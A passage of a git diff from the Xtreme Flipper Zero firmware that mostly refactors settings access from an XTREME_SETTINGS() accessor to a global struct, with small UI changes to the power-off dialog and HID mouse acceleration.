xtreme_app_scene_protocols_gpio_esp32_channel_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - XTREME_SETTINGS()->uart_esp_channel = + xtreme_settings.uart_esp_channel = variable_item_get_current_value_index(item) == 0 ? UARTDefault : UARTExtra; variable_item_set_current_value_text( - item, XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? "13,14" : "15,16"); + item, xtreme_settings.uart_esp_channel == UARTDefault ? "13,14" : "15,16"); app->save_settings = true; } static void xtreme_app_scene_protocols_gpio_nmea_channel_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - XTREME_SETTINGS()->uart_nmea_channel = + xtreme_settings.uart_nmea_channel = variable_item_get_current_value_index(item) == 0 ? UARTDefault : UARTExtra; variable_item_set_current_value_text( - item, XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? "13,14" : "15,16"); + item, xtreme_settings.uart_nmea_channel == UARTDefault ? "13,14" : "15,16"); app->save_settings = true; } static void xtreme_app_scene_protocols_gpio_general_channel_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - XTREME_SETTINGS()->uart_general_channel = + xtreme_settings.uart_general_channel = variable_item_get_current_value_index(item) == 0 ? UARTDefault : UARTExtra; variable_item_set_current_value_text( - item, XTREME_SETTINGS()->uart_general_channel == UARTDefault ? "13,14" : "15,16"); + item, xtreme_settings.uart_general_channel == UARTDefault ? "13,14" : "15,16"); app->save_settings = true; } void xtreme_app_scene_protocols_gpio_on_enter(void* context) { XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; @@ -70,9 +69,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) { 2, xtreme_app_scene_protocols_gpio_cc1101_handle_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->spi_cc1101_handle); + variable_item_set_current_value_index(item, xtreme_settings.spi_cc1101_handle); variable_item_set_current_value_text( - item, xtreme_settings->spi_cc1101_handle == SpiDefault ? "Default" : "Extra"); + item, xtreme_settings.spi_cc1101_handle == SpiDefault ? "Default" : "Extra"); item = variable_item_list_add( var_item_list, @@ -80,9 +79,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) { 2, xtreme_app_scene_protocols_gpio_nrf24_handle_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->spi_nrf24_handle); + variable_item_set_current_value_index(item, xtreme_settings.spi_nrf24_handle); variable_item_set_current_value_text( - item, xtreme_settings->spi_nrf24_handle == SpiDefault ? "Default" : "Extra"); + item, xtreme_settings.spi_nrf24_handle == SpiDefault ? "Default" : "Extra"); item = variable_item_list_add( var_item_list, @@ -90,9 +89,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) { 2, xtreme_app_scene_protocols_gpio_esp32_channel_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->uart_esp_channel); + variable_item_set_current_value_index(item, xtreme_settings.uart_esp_channel); variable_item_set_current_value_text( - item, xtreme_settings->uart_esp_channel == UARTDefault ? "13,14" : "15,16"); + item, xtreme_settings.uart_esp_channel == UARTDefault ? "13,14" : "15,16"); item = variable_item_list_add( var_item_list, @@ -100,9 +99,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) { 2, xtreme_app_scene_protocols_gpio_nmea_channel_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->uart_nmea_channel); + variable_item_set_current_value_index(item, xtreme_settings.uart_nmea_channel); variable_item_set_current_value_text( - item, xtreme_settings->uart_nmea_channel == UARTDefault ? "13,14" : "15,16"); + item, xtreme_settings.uart_nmea_channel == UARTDefault ? "13,14" : "15,16"); item = variable_item_list_add( var_item_list, @@ -110,9 +109,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) { 2, xtreme_app_scene_protocols_gpio_general_channel_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->uart_general_channel); + variable_item_set_current_value_index(item, xtreme_settings.uart_general_channel); variable_item_set_current_value_text( - item, xtreme_settings->uart_general_channel == UARTDefault ? "13,14" : "15,16"); + item, xtreme_settings.uart_general_channel == UARTDefault ? "13,14" : "15,16"); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_protocols_gpio_var_item_list_callback, app); diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index ce198a3e4..99aa7af14 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -206,8 +206,6 @@ XtremeApp* xtreme_app_alloc() { // Settings init - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - app->asset_pack_index = 0; CharList_init(app->asset_pack_names); Storage* storage = furi_record_open(RECORD_STORAGE); @@ -229,7 +227,7 @@ XtremeApp* xtreme_app_alloc() { if(app->asset_pack_index != 0) { if(idx < app->asset_pack_index) app->asset_pack_index++; } else { - if(strcmp(copy, xtreme_settings->asset_pack) == 0) + if(strcmp(copy, xtreme_settings.asset_pack) == 0) app->asset_pack_index = idx + 1; } } diff --git a/applications/services/desktop/animations/animation_manager.c b/applications/services/desktop/animations/animation_manager.c index 88ec09fce..dcc60bad1 100644 --- a/applications/services/desktop/animations/animation_manager.c +++ b/applications/services/desktop/animations/animation_manager.c @@ -148,7 +148,7 @@ void animation_manager_check_blocking_process(AnimationManager* animation_manage const StorageAnimationManifestInfo* manifest_info = animation_storage_get_meta(animation_manager->current_animation); bool valid = animation_manager_is_valid_idle_animation( - manifest_info, &stats, XTREME_SETTINGS()->unlock_anims); + manifest_info, &stats, xtreme_settings.unlock_anims); if(!valid) { animation_manager_start_new_idle(animation_manager); @@ -203,9 +203,8 @@ static void animation_manager_start_new_idle(AnimationManager* animation_manager const BubbleAnimation* bubble_animation = animation_storage_get_bubble_animation(animation_manager->current_animation); animation_manager->state = AnimationManagerStateIdle; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - int32_t duration = (xtreme_settings->cycle_anims == 0) ? (bubble_animation->duration) : - (xtreme_settings->cycle_anims); + int32_t duration = (xtreme_settings.cycle_anims == 0) ? (bubble_animation->duration) : + (xtreme_settings.cycle_anims); furi_timer_start( animation_manager->idle_animation_timer, (duration > 0) ? (duration * 1000) : 0); } @@ -389,14 +388,14 @@ static StorageAnimation* furi_record_close(RECORD_DOLPHIN); uint32_t whole_weight = 0; - bool fallback = XTREME_SETTINGS()->fallback_anim; + bool fallback = xtreme_settings.fallback_anim; if(StorageAnimationList_size(animation_list) == dolphin_internal_size + 1 && !fallback) { // One ext anim and fallback disabled, dont skip current anim (current = only ext one) avoid_animation = NULL; } StorageAnimationList_it_t it; - bool unlock = XTREME_SETTINGS()->unlock_anims; + bool unlock = xtreme_settings.unlock_anims; for(StorageAnimationList_it(it, animation_list); !StorageAnimationList_end_p(it);) { StorageAnimation* storage_animation = *StorageAnimationList_ref(it); const StorageAnimationManifestInfo* manifest_info = @@ -531,7 +530,7 @@ void animation_manager_load_and_continue_animation(AnimationManager* animation_m const StorageAnimationManifestInfo* manifest_info = animation_storage_get_meta(restore_animation); bool valid = animation_manager_is_valid_idle_animation( - manifest_info, &stats, XTREME_SETTINGS()->unlock_anims); + manifest_info, &stats, xtreme_settings.unlock_anims); if(valid) { animation_manager_replace_current_animation( animation_manager, restore_animation); @@ -545,10 +544,9 @@ void animation_manager_load_and_continue_animation(AnimationManager* animation_m const BubbleAnimation* bubble_animation = animation_storage_get_bubble_animation( animation_manager->current_animation); - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - int32_t duration = (xtreme_settings->cycle_anims == 0) ? + int32_t duration = (xtreme_settings.cycle_anims == 0) ? (bubble_animation->duration) : - (xtreme_settings->cycle_anims); + (xtreme_settings.cycle_anims); furi_timer_start( animation_manager->idle_animation_timer, (duration > 0) ? (duration * 1000) : 0); diff --git a/applications/services/desktop/animations/animation_storage.c b/applications/services/desktop/animations/animation_storage.c index d8287c692..101140699 100644 --- a/applications/services/desktop/animations/animation_storage.c +++ b/applications/services/desktop/animations/animation_storage.c @@ -23,13 +23,12 @@ static void animation_storage_free_animation(BubbleAnimation** storage_animation static BubbleAnimation* animation_storage_load_animation(const char* name); void animation_handler_select_manifest() { - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); FuriString* anim_dir = furi_string_alloc(); FuriString* manifest = furi_string_alloc(); - bool use_asset_pack = xtreme_settings->asset_pack[0] != '\0'; + bool use_asset_pack = xtreme_settings.asset_pack[0] != '\0'; if(use_asset_pack) { furi_string_printf( - anim_dir, "%s/%s/Anims", XTREME_ASSETS_PATH, xtreme_settings->asset_pack); + anim_dir, "%s/%s/Anims", XTREME_ASSETS_PATH, xtreme_settings.asset_pack); furi_string_printf(manifest, "%s/manifest.txt", furi_string_get_cstr(anim_dir)); Storage* storage = furi_record_open(RECORD_STORAGE); if(storage_common_stat(storage, furi_string_get_cstr(manifest), NULL) == FSE_OK) { @@ -514,7 +513,7 @@ static BubbleAnimation* animation_storage_load_animation(const char* name) { if(!flipper_format_read_uint32(ff, "Active cycles", &u32value, 1)) break; //-V779 animation->active_cycles = u32value; if(!flipper_format_read_uint32(ff, "Frame rate", &u32value, 1)) break; - uint32_t anim_speed = XTREME_SETTINGS()->anim_speed; + uint32_t anim_speed = xtreme_settings.anim_speed; u32value = (u32value * anim_speed) / 100; FURI_CONST_ASSIGN(animation->icon_animation.frame_rate, u32value < 1 ? 1 : u32value); if(!flipper_format_read_uint32(ff, "Duration", &u32value, 1)) break; diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 32a346dba..f43877bf1 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -66,13 +66,13 @@ static void desktop_clock_reconfigure(Desktop* desktop) { desktop_clock_update(desktop); - if(XTREME_SETTINGS()->statusbar_clock) { + if(xtreme_settings.statusbar_clock) { furi_timer_start(desktop->update_clock_timer, furi_ms_to_ticks(1000)); } else { furi_timer_stop(desktop->update_clock_timer); } - view_port_enabled_set(desktop->clock_viewport, XTREME_SETTINGS()->statusbar_clock); + view_port_enabled_set(desktop->clock_viewport, xtreme_settings.statusbar_clock); } static void desktop_clock_draw_callback(Canvas* canvas, void* context) { @@ -209,7 +209,7 @@ void desktop_lock(Desktop* desktop, bool pin_lock) { Cli* cli = furi_record_open(RECORD_CLI); cli_session_close(cli); furi_record_close(RECORD_CLI); - if(!XTREME_SETTINGS()->allow_locked_rpc_commands) { + if(!xtreme_settings.allow_locked_rpc_commands) { Bt* bt = furi_record_open(RECORD_BT); bt_close_rpc_connection(bt); furi_record_close(RECORD_BT); @@ -484,7 +484,7 @@ int32_t desktop_srv(void* p) { scene_manager_next_scene(desktop->scene_manager, DesktopSceneMain); - if(XTREME_SETTINGS()->lock_on_boot || furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock)) { + if(xtreme_settings.lock_on_boot || furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock)) { desktop_lock(desktop, true); } else { if(!loader_is_locked(desktop->loader)) { diff --git a/applications/services/desktop/scenes/desktop_scene_fault.c b/applications/services/desktop/scenes/desktop_scene_fault.c index e6cadcaef..9a010af05 100644 --- a/applications/services/desktop/scenes/desktop_scene_fault.c +++ b/applications/services/desktop/scenes/desktop_scene_fault.c @@ -15,7 +15,7 @@ void desktop_scene_fault_on_enter(void* context) { Popup* popup = desktop->hw_mismatch_popup; popup_set_context(popup, desktop); - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { popup_set_header( popup, "Slut passed out\n but is now back", diff --git a/applications/services/desktop/scenes/desktop_scene_pin_input.c b/applications/services/desktop/scenes/desktop_scene_pin_input.c index f6af083f1..360d2cf7d 100644 --- a/applications/services/desktop/scenes/desktop_scene_pin_input.c +++ b/applications/services/desktop/scenes/desktop_scene_pin_input.c @@ -59,7 +59,7 @@ static void desktop_scene_pin_input_done_callback(const PinCode* pin_code, void* view_dispatcher_send_custom_event(desktop->view_dispatcher, DesktopPinInputEventUnlocked); } else { uint32_t pin_fails = furi_hal_rtc_get_pin_fails() + 1; - if(pin_fails >= 10 && XTREME_SETTINGS()->bad_pins_format) { + if(pin_fails >= 10 && xtreme_settings.bad_pins_format) { furi_hal_rtc_set_pin_fails(0); furi_hal_rtc_set_flag(FuriHalRtcFlagFactoryReset); storage_sd_format(furi_record_open(RECORD_STORAGE)); diff --git a/applications/services/desktop/views/desktop_view_lock_menu.c b/applications/services/desktop/views/desktop_view_lock_menu.c index 10e5860dd..6f2874d94 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.c +++ b/applications/services/desktop/views/desktop_view_lock_menu.c @@ -101,7 +101,7 @@ void desktop_lock_menu_draw_callback(Canvas* canvas, void* model) { break; case DesktopLockMenuIndexDarkMode: icon = &I_CC_DarkMode_16x16; - enabled = XTREME_SETTINGS()->dark_mode; + enabled = xtreme_settings.dark_mode; break; case DesktopLockMenuIndexLock: icon = &I_CC_Lock_16x16; @@ -287,7 +287,7 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { desktop_event = DesktopLockMenuEventSettings; break; case DesktopLockMenuIndexDarkMode: - XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; + xtreme_settings.dark_mode = !xtreme_settings.dark_mode; lock_menu->save_xtreme = true; break; case DesktopLockMenuIndexBluetooth: diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 2720cdbfc..7c677fb31 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -74,7 +74,6 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { furi_hal_rtc_get_datetime(&datetime); LocaleTimeFormat time_format = locale_get_time_format(); LocaleDateFormat date_format = locale_get_date_format(); - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); bool pm; if(time_format == LocaleTimeFormat24h) { @@ -94,14 +93,14 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.day, datetime.month, datetime.year); } - if(!xtreme_settings->lockscreen_transparent) { + if(!xtreme_settings.lockscreen_transparent) { canvas_draw_icon(canvas, 0, 0 + y, &I_Lockscreen); } - if(xtreme_settings->lockscreen_time) { + if(xtreme_settings.lockscreen_time) { canvas_set_font(canvas, FontBigNumbers); canvas_draw_str(canvas, 0, 64 + y, time_str); int offset = canvas_string_width(canvas, time_str) + 2; - if(xtreme_settings->lockscreen_seconds) { + if(xtreme_settings.lockscreen_seconds) { canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 0 + offset, 64 + y, second_str); offset += canvas_string_width(canvas, ":00") + 2; @@ -111,12 +110,12 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { canvas_draw_str(canvas, 0 + offset, 64 + y, meridian_str); } } - if(xtreme_settings->lockscreen_date) { + if(xtreme_settings.lockscreen_date) { canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings->lockscreen_time, date_str); + canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings.lockscreen_time, date_str); } if(model->view_state == DesktopViewLockedStateLockedHintShown && - xtreme_settings->lockscreen_prompt) { + xtreme_settings.lockscreen_prompt) { canvas_set_font(canvas, FontSecondary); if(model->pin_locked) { elements_bubble_str( diff --git a/applications/services/dolphin/dolphin.c b/applications/services/dolphin/dolphin.c index 128d8b0ac..224af1df6 100644 --- a/applications/services/dolphin/dolphin.c +++ b/applications/services/dolphin/dolphin.c @@ -81,7 +81,7 @@ Dolphin* dolphin_alloc() { dolphin->state = dolphin_state_alloc(); dolphin->event_queue = furi_message_queue_alloc(8, sizeof(DolphinEvent)); dolphin->pubsub = furi_pubsub_alloc(); - uint32_t butthurt_timer = XTREME_SETTINGS()->butthurt_timer; + uint32_t butthurt_timer = xtreme_settings.butthurt_timer; dolphin->butthurt_timer = xTimerCreate( NULL, butthurt_timer ? ((int32_t)butthurt_timer * 1000) : -1, diff --git a/applications/services/gui/canvas.c b/applications/services/gui/canvas.c index fe11b6586..42814fb47 100644 --- a/applications/services/gui/canvas.c +++ b/applications/services/gui/canvas.c @@ -117,7 +117,7 @@ const CanvasFontParameters* canvas_get_font_params(const Canvas* canvas, Font fo void canvas_clear(Canvas* canvas) { furi_assert(canvas); - if(XTREME_SETTINGS()->dark_mode) { + if(xtreme_settings.dark_mode) { u8g2_FillBuffer(&canvas->fb); } else { u8g2_ClearBuffer(&canvas->fb); @@ -126,7 +126,7 @@ void canvas_clear(Canvas* canvas) { void canvas_set_color(Canvas* canvas, Color color) { furi_assert(canvas); - if(XTREME_SETTINGS()->dark_mode) { + if(xtreme_settings.dark_mode) { if(color == ColorBlack) { color = ColorWhite; } else if(color == ColorWhite) { diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 23ebf33e7..471817f24 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -84,12 +84,10 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { canvas_frame_set( gui->canvas, GUI_STATUS_BAR_X, GUI_STATUS_BAR_Y, GUI_DISPLAY_WIDTH, GUI_STATUS_BAR_HEIGHT); - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - /* for support black theme - paint white area and * draw icon with transparent white color */ - if(xtreme_settings->bar_background) { + if(xtreme_settings.bar_background) { canvas_set_color(gui->canvas, ColorWhite); canvas_draw_box(gui->canvas, 1, 1, 9, 7); canvas_draw_box(gui->canvas, 7, 3, 58, 6); @@ -122,7 +120,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { width + 2, GUI_STATUS_BAR_WORKAREA_HEIGHT + 2); // Hide battery background - if(xtreme_settings->bar_borders) { + if(xtreme_settings.bar_borders) { canvas_set_color(gui->canvas, ColorWhite); canvas_draw_box( gui->canvas, -1, 0, canvas_width(gui->canvas) + 1, canvas_height(gui->canvas)); @@ -131,7 +129,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { // ViewPort draw canvas_frame_set( gui->canvas, - x - xtreme_settings->bar_borders, + x - xtreme_settings.bar_borders, GUI_STATUS_BAR_Y + 2, width, GUI_STATUS_BAR_WORKAREA_HEIGHT); @@ -148,7 +146,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { right_used + 4, GUI_STATUS_BAR_HEIGHT); // Disable battery border - if(xtreme_settings->bar_borders) { + if(xtreme_settings.bar_borders) { canvas_set_color(gui->canvas, ColorBlack); canvas_draw_rframe( gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas), 1); @@ -168,7 +166,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { } // Left side - if(xtreme_settings->status_icons) { + if(xtreme_settings.status_icons) { x = 2; ViewPortArray_it(it, gui->layers[GuiLayerStatusBarLeft]); while(!ViewPortArray_end_p(it) && (right_used + left_used) < GUI_STATUS_BAR_WIDTH) { @@ -183,7 +181,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { GUI_STATUS_BAR_Y + 1, width + 2, GUI_STATUS_BAR_WORKAREA_HEIGHT + 2); - if(xtreme_settings->bar_borders) { + if(xtreme_settings.bar_borders) { canvas_set_color(gui->canvas, ColorWhite); canvas_draw_box( gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas)); @@ -209,7 +207,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { GUI_STATUS_BAR_Y + 1, width + 2, GUI_STATUS_BAR_WORKAREA_HEIGHT + 2); - if(xtreme_settings->bar_borders) { + if(xtreme_settings.bar_borders) { canvas_set_color(gui->canvas, ColorWhite); canvas_draw_box( gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas)); @@ -226,7 +224,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { // Draw frame around icons on the left if(left_used) { canvas_frame_set(gui->canvas, 0, 0, left_used + 3, GUI_STATUS_BAR_HEIGHT); - if(xtreme_settings->bar_borders) { + if(xtreme_settings.bar_borders) { canvas_draw_rframe( gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas), 1); canvas_draw_line( @@ -283,7 +281,7 @@ static void gui_redraw(Gui* gui) { bool need_attention = (gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 || gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0); - if(XTREME_SETTINGS()->lockscreen_statusbar) { + if(xtreme_settings.lockscreen_statusbar) { gui_redraw_status_bar(gui, need_attention); } } else { diff --git a/applications/services/gui/modules/file_browser.c b/applications/services/gui/modules/file_browser.c index edbd76446..edde31c20 100644 --- a/applications/services/gui/modules/file_browser.c +++ b/applications/services/gui/modules/file_browser.c @@ -85,7 +85,7 @@ static int BrowserItem_t_cmp(const BrowserItem_t* a, const BrowserItem_t* b) { if(b->type == BrowserItemTypeBack) { return 1; } - if(XTREME_SETTINGS()->sort_dirs_first) { + if(xtreme_settings.sort_dirs_first) { if(a->type == BrowserItemTypeFolder && b->type != BrowserItemTypeFolder) { return -1; } diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index 6307a4ebe..5f8983efa 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -99,7 +99,7 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { MenuItem* item; size_t shift_position; FuriString* name = furi_string_alloc(); - switch(XTREME_SETTINGS()->menu_style) { + switch(xtreme_settings.menu_style) { case MenuStyleList: { for(uint8_t i = 0; i < 3; i++) { canvas_set_font(canvas, i == 1 ? FontPrimary : FontSecondary); @@ -442,7 +442,7 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { static bool menu_input_callback(InputEvent* event, void* context) { Menu* menu = context; bool consumed = true; - if(XTREME_SETTINGS()->menu_style == MenuStyleVertical && + if(xtreme_settings.menu_style == MenuStyleVertical && furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { if(event->key == InputKeyLeft) { event->key = InputKeyRight; @@ -651,7 +651,7 @@ static void menu_process_up(Menu* menu) { size_t count = MenuItemArray_size(model->items); size_t vertical_offset = model->vertical_offset; - switch(XTREME_SETTINGS()->menu_style) { + switch(xtreme_settings.menu_style) { case MenuStyleList: case MenuStyleEurocorp: case MenuStyleTerminal: @@ -703,7 +703,7 @@ static void menu_process_down(Menu* menu) { size_t count = MenuItemArray_size(model->items); size_t vertical_offset = model->vertical_offset; - switch(XTREME_SETTINGS()->menu_style) { + switch(xtreme_settings.menu_style) { case MenuStyleList: case MenuStyleEurocorp: case MenuStyleTerminal: @@ -755,7 +755,7 @@ static void menu_process_left(Menu* menu) { size_t count = MenuItemArray_size(model->items); size_t vertical_offset = model->vertical_offset; - switch(XTREME_SETTINGS()->menu_style) { + switch(xtreme_settings.menu_style) { case MenuStyleWii: if(position < 2) { if(count % 2) { @@ -818,7 +818,7 @@ static void menu_process_right(Menu* menu) { size_t count = MenuItemArray_size(model->items); size_t vertical_offset = model->vertical_offset; - switch(XTREME_SETTINGS()->menu_style) { + switch(xtreme_settings.menu_style) { case MenuStyleWii: if(count % 2) { if(position == count - 1) { diff --git a/applications/services/power/power_service/power.c b/applications/services/power/power_service/power.c index dd49c8de0..aa55efde2 100644 --- a/applications/services/power/power_service/power.c +++ b/applications/services/power/power_service/power.c @@ -16,7 +16,7 @@ void power_set_battery_icon_enabled(Power* power, bool is_enabled) { void power_draw_battery_callback(Canvas* canvas, void* context) { furi_assert(context); Power* power = context; - BatteryIcon battery_icon = XTREME_SETTINGS()->battery_icon; + BatteryIcon battery_icon = xtreme_settings.battery_icon; if(battery_icon == BatteryIconOff) return; canvas_draw_icon(canvas, 0, 0, &I_Battery_25x8); @@ -359,7 +359,7 @@ Power* power_alloc() { // Battery view port power->battery_view_port = power_battery_view_port_alloc(power); - power_set_battery_icon_enabled(power, XTREME_SETTINGS()->battery_icon != BatteryIconOff); + power_set_battery_icon_enabled(power, xtreme_settings.battery_icon != BatteryIconOff); power->show_low_bat_level_message = true; //Auto shutdown timer @@ -478,7 +478,7 @@ static void power_check_battery_level_change(Power* power) { } static void power_check_charge_cap(Power* power) { - uint32_t cap = XTREME_SETTINGS()->charge_cap; + uint32_t cap = xtreme_settings.charge_cap; if(power->info.charge >= cap && cap < 100) { if(!power->info.is_charge_capped) { // Suppress charging if charge reaches custom cap power->info.is_charge_capped = true; diff --git a/applications/services/rpc/rpc.c b/applications/services/rpc/rpc.c index 3393d948d..791b14478 100644 --- a/applications/services/rpc/rpc.c +++ b/applications/services/rpc/rpc.c @@ -376,8 +376,7 @@ static void rpc_session_thread_state_callback(FuriThreadState thread_state, void } RpcSession* rpc_session_open(Rpc* rpc, RpcOwner owner) { - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock) && - !XTREME_SETTINGS()->allow_locked_rpc_commands) + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock) && !xtreme_settings.allow_locked_rpc_commands) return NULL; furi_assert(rpc); diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_keybinds_action_type.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_keybinds_action_type.c index dc0acb5b5..b71e71727 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_keybinds_action_type.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_keybinds_action_type.c @@ -47,7 +47,7 @@ static void const DialogsFileBrowserOptions browser_options = { .extension = extension, .icon = &I_unknown_10px, - .hide_dot_files = !XTREME_SETTINGS()->show_hidden_files, + .hide_dot_files = !xtreme_settings.show_hidden_files, .skip_assets = true, .hide_ext = hide_ext, .item_loader_callback = keybinds_fap_selector_item_callback, diff --git a/applications/settings/dolphin_passport/passport.c b/applications/settings/dolphin_passport/passport.c index fa7ca9e3a..fdfee9c84 100644 --- a/applications/settings/dolphin_passport/passport.c +++ b/applications/settings/dolphin_passport/passport.c @@ -38,7 +38,7 @@ static void render_callback(Canvas* canvas, void* _ctx) { const char* mood_str = NULL; const Icon* portrait = NULL; - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { if(stats->butthurt <= 4) { portrait = &I_passport_happy_46x49; mood_str = "Status: Wet"; diff --git a/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c b/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c index 573c4c4f8..9ad60bfd1 100644 --- a/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c +++ b/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c @@ -12,7 +12,7 @@ void power_settings_scene_power_off_on_enter(void* context) { DialogEx* dialog = app->dialog; dialog_ex_set_header(dialog, "Turn Off Device?", 64, 2, AlignCenter, AlignTop); - if(XTREME_SETTINGS()->is_nsfw) { + if(xtreme_settings.is_nsfw) { dialog_ex_set_text( dialog, " I will be\nwaiting for\n you master", 78, 16, AlignLeft, AlignTop); } else { @@ -20,7 +20,7 @@ void power_settings_scene_power_off_on_enter(void* context) { dialog, " I will be\nwaiting for\n you here", 78, 16, AlignLeft, AlignTop); } dialog_ex_set_icon(dialog, 21, 13, &I_Cry_dolph_55x52); - dialog_ex_set_left_button_text(dialog, "Back"); + dialog_ex_set_left_button_text(dialog, "Battery"); dialog_ex_set_right_button_text(dialog, "OFF"); dialog_ex_set_result_callback(dialog, power_settings_scene_power_off_dialog_callback); dialog_ex_set_context(dialog, app); @@ -34,10 +34,7 @@ bool power_settings_scene_power_off_on_event(void* context, SceneManagerEvent ev if(event.type == SceneManagerEventTypeCustom) { if(event.event == DialogExResultLeft) { - if(!scene_manager_previous_scene(app->scene_manager)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } + scene_manager_next_scene(app->scene_manager, PowerSettingsAppSceneBatteryInfo); } else if(event.event == DialogExResultRight) { power_off(app->power); } diff --git a/applications/settings/power_settings_app/views/battery_info.c b/applications/settings/power_settings_app/views/battery_info.c index dd539bd6c..ec94f65ad 100644 --- a/applications/settings/power_settings_app/views/battery_info.c +++ b/applications/settings/power_settings_app/views/battery_info.c @@ -151,7 +151,10 @@ static bool battery_info_input_callback(InputEvent* event, void* context) { BatteryInfo* battery_info = context; - if(event->type == InputTypeShort) { + bool about_battery; + with_view_model( + battery_info->view, BatteryInfoModel * model, { about_battery = model->alt; }, false); + if(about_battery && event->type == InputTypeShort) { if(event->key == InputKeyLeft) { event->key = InputKeyBack; } else if(event->key == InputKeyRight) { diff --git a/applications/system/hid_app/views/hid_mouse.c b/applications/system/hid_app/views/hid_mouse.c index 956ad6b24..5e2dab476 100644 --- a/applications/system/hid_app/views/hid_mouse.c +++ b/applications/system/hid_app/views/hid_mouse.c @@ -22,6 +22,7 @@ typedef struct { bool left_mouse_held; bool right_mouse_pressed; bool connected; + uint8_t acceleration; HidTransport transport; } HidMouseModel; @@ -119,6 +120,11 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { hid_mouse->view, HidMouseModel * model, { + model->acceleration = (event->type == InputTypePress) ? 1 : + (event->type == InputTypeRelease) ? 0 : + (model->acceleration >= 20) ? 20 : + model->acceleration + 1; + if(event->key == InputKeyBack) { if(event->type == InputTypeShort) { hid_hal_mouse_press(hid_mouse->hid, HID_MOUSE_BTN_RIGHT); @@ -150,7 +156,8 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->right_pressed = true; hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_SHORT, 0); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_LONG, 0); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + 